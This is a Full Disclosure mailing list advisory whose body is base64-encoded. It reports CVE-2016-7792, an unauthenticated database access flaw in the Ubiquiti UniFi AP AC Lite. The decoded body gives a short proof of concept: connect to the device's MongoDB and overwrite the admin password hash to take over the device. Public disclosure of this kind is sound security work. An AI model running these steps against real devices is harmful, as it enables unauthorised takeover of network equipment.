Critical Vulnerability in Ubiquiti UniFi
Tim Schughart <[email protected]> Fri, 30 Sep 2016 11:49:26 +0200 (CEST)
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.bugtraq,gmane.comp.security.web-applications |
|---|---|
| Message-ID | <595767868.209491.1475228966431.JavaMail.zimbra@prosec-networks.com> |
SGVsbG8gQGFsbCwgCgp0b2dldGhlciB3aXRoIG15IGNvbGxlYWd1ZSB3ZSBmb3VuZCB0d28gdW5j cml0aWNhbCB2dWxuZXJhYmlsaXRpZXMgeW91J2xsIGZpbmQgYmVsb3cuCgpQcm9kdWN0OiBVbmlG aSBBUCBBQyBMaXRlClZlbmRvcjogVWJpcXVpdGkgTmV0d29ya3MgSW5jLiAKCkludGVybmFsIHJl ZmVyZW5jZTogPyAoQnVnIElEKQpWdWxuZXJhYmlsaXR5IHR5cGU6IEluY29ycmVjdCBhY2Nlc3Mg Y29udHJvbCAKVnVsbmVyYWJsZSB2ZXJzaW9uOiBVbmlmeSA1LjIuNyBhbmQgcG9zc2libGUgb3Ro ZXIgdmVyc2lvbnMgYWZmZWN0ZWQgKG5vdCB0ZXN0ZWQpClZ1bG5lcmFibGUgY29tcG9uZW50OiBE YXRhYmFzZQpSZXBvcnQgY29uZmlkZW5jZTogeWVzClNvbHV0aW9uIHN0YXR1czogTm90IGZpeGVk IGJ5IFZlbmRvciwgdGhlIGJ1ZyBpcyBhIGZlYXR1cmUuIApGaXhlZCB2ZXJzaW9uczogLQpSZXNl YXJjaGVyIGNyZWRpdHM6IFRpbSBTY2h1Z2hhcnQsIEltbWFudWVsIELDpHIsIEtoYW5oIFF1b2Mg UGhhbSBvZiBQcm9TZWMgTmV0d29ya3MKU29sdXRpb24gZGF0ZTogLSAKUHVibGljIGRpc2Nsb3N1 cmU6IDIwMTYtMDktMzAKQ1ZFIHJlZmVyZW5jZTogQ1ZFLTIwMTYtNzc5MgpDVlNTdjM6IDguOCBB VjpBL0FDOkwvUFI6Ti9VSTpOL1M6VS9DOkgvSTpIL0E6SCAKCgpWdWxuZXJhYmlsaXR5IERldGFp bHM6CllvdSBhcmUgYWJsZSB0byBjb25uZWN0IHRvIHRoZSBhY2Nlc3MgcG9pbnRzIGRhdGFiYXNl LCBiZWNhdXNlIG9mIGFuIGJyb2tlbiBhdXRoZW50aWNhdGlvbiAoT1dBU1AgVE9QMTApLiBTbyB5 b3UgYXJlIGFibGUgdG8gbW9kaWZ5IHRoZSBkYXRhYmFzZSBhbmQgcmVhZCB0aGUgZGF0YS4gQW4g cG9zc2libGUgc2NlbmFyaW8geW91J2xsIGZpbmQgaW4gUG9DIHNlY3Rpb24uIAoKUmlzazoKQW4g YXR0YWNrZXIgZ2V0cyBhY2Nlc3MgdG8gdGhlIGRhdGFiYXNlIGFuZCBmb3IgZS5nLiBpcyBhYmxl IHRvIGNoYW5nZSB0aGUgYWRtaW5zIHBhc3N3b3JkLCBsaWtlIHlvdSBzZWUgaW4gUG9DIGJlbG93 LiAKClBvQzogCiAxLiBHZW5lcmF0ZSBTSEE1MTIgSGFzaCB3aXRoIGUuZy4KIG1rcGFzc3dkIC1t IHNoYS01MTIKCiAyLiBDb25uZWN0IHZpYSBuZXR3b3JrIHRvIGRhdGFiYXNlLCBlLmcuIDoKIG1v bmdvIC0tcG9ydCAyNzExNyAtLWhvc3QgdGFyZ2V0X2lwCgogMy4gQ2hhbmdlIHBhc3N3b3JkIHZp YSBjb21tYW5kCiAiZGIuYWRtaW4udXBkYXRlKHsibmFtZSI6IlByb1NlYyJ9LCB7JHNldCA6IHsi eF9zaGFkb3ciOgogIiQ2JFNlOWk1STdrM2hJOGQ0YmskQ3FFWFJVd2s3YzdBLzYyRS9IY0M0U3JN U0xPckJkbTd3UnZ3VFM0dC5uTkpBM1JZdGEwUmZ6SnB1UkVnLnFjQUhzUEdXOUdqd20za3JKUk9Y emJDdi4ifX0pIgogNC4gTG9naW4gdmlhIHdlYiBpbnRlcmZhY2Ugd2l0aCBuZXcgcGFzc3dvcmQK CgpCZXN0IHJlZ2FyZHMgLyBNaXQgZnJldW5kbGljaGVuIEdyw7zDn2VuIAoKClRpbSBTY2h1Z2hh cnQgCkNFTyAvIEdlc2Now6RmdHNmw7xocmVyICAKCi0tClByb1NlYyBOZXR3b3JrcyBlLksuIApF bGxpbmdzaG9obCA4MiAgCjU2MDc3IEtvYmxlbnogCgpXZWJzaXRlOiBodHRwczovL3d3dy5wcm9z ZWMtbmV0d29ya3MuY29tIApFLU1haWw6IHQuc2NodWdoYXJ0QHByb3NlYy5uZXR3b3Jrcy5jb20g Ck1vYmlsZTogKzQ5ICgwKTE1NyA3OTAxIDU4MjYKUGhvbmU6ICs0OSAoMCkyNjEgNDUwIDkzMCA5 MCAgIAoKIlRoaXMgRS1NYWlsIGNvbW11bmljYXRpb24gbWF5IGNvbnRhaW4gQ09ORklERU5USUFM LCBQUklWSUxFR0VEIGFuZC9vciBMRUdBTExZIFBST1RFQ1RFRCBpbmZvcm1hdGlvbiBhbmQgaXMg aW50ZW5kZWQgb25seSBmb3IgdGhlIG5hbWVkIHJlY2lwaWVudChzKS4gQW55IHVuYXV0aG9yaXpl ZCB1c2UsIGRpc3NlbWluYXRpb24sIGNvcHlpbmcgb3IgZm9yd2FyZGluZyBpcyBzdHJpY3RseSBw cm9oaWJpdGVkLiBJZiB5b3UgYXJlIG5vdCB0aGUgaW50ZW5kZWQgcmVjaXBpZW50IGFuZCBoYXZl IHJlY2VpdmVkIHRoaXMgZW1haWwgY29tbXVuaWNhdGlvbiBpbiBlcnJvciwgcGxlYXNlIG5vdGlm eSB0aGUgc2VuZGVyIGltbWVkaWF0ZWx5LCBkZWxldGUgaXQgYW5kIGRlc3Ryb3kgYWxsIGNvcGll cyBvZiB0aGlzIEUtTWFpbC4gVkFUIElEOiBERTI5MDY1NDcxNCBsZWdhbCBkb21pY2lsZSBLb2Js ZW56LCBIUkEgMjE2MjUu4oCcCgoiRGllc2UgRS1NYWlsIE1pdHRlaWx1bmcga2FubiBWRVJUUkFV TElDSEUsIGRlbSBCRVJVRlNHRUhFSU1OSVMgVU5URVJMSUVHRU5ERSB1bmQvb2RlciBSRUNIVExJ Q0ggR0VTQ0jDnFRaVEUgSW5mb3JtYXRpb25lbiBlbnRoYWx0ZW4gdW5kIGlzdCBhdXNzY2hsaWXD n2xpY2ggZsO8ciBkZW4vZGllIGdlbmFubnRlbiBBZHJlc3NhdGVuIGJlc3RpbW10LiBKZWRlIHVu YmVmdWd0ZSBOdXR6dW5nLCBXZWl0ZXJnYWJlLCBWZXJ2aWVsZsOkbHRpZ3VuZyBvZGVyIFZlcnNl bmR1bmcgaXN0IHN0cmVuZ3N0ZW5zIHZlcmJvdGVuLiBTb2xsdGVuIFNpZSBuaWNodCBkZXIgYW5n ZWdlYmVuZSBBZHJlc3NhdCBzZWluIHVuZCBkaWVzZSBFLU1haWwgTWl0dGVpbHVuZyBpcnJ0w7xt bGljaCBlcmhhbHRlbiBoYWJlbiwgaW5mb3JtaWVyZW4gU2llIGJpdHRlIHNvZm9ydCBkZW4gQWJz ZW5kZXIsIGzDtnNjaGVuIGRpZXNlIEUtTWFpbCB1bmQgdmVybmljaHRlbiBhbGxlIEtvcGllbi4g VVN0LUlkTnIuOiAgREUyOTA2NTQ3MTQsIEFtdHNnZXJpY2h0IEtvYmxlbnosIEhSQSAyMTYyNS4i CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50IHRo cm91Z2ggdGhlIEZ1bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9yZy9t YWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDov L3NlY2xpc3RzLm9yZy9mdWxsZGlzY2xvc3VyZS8=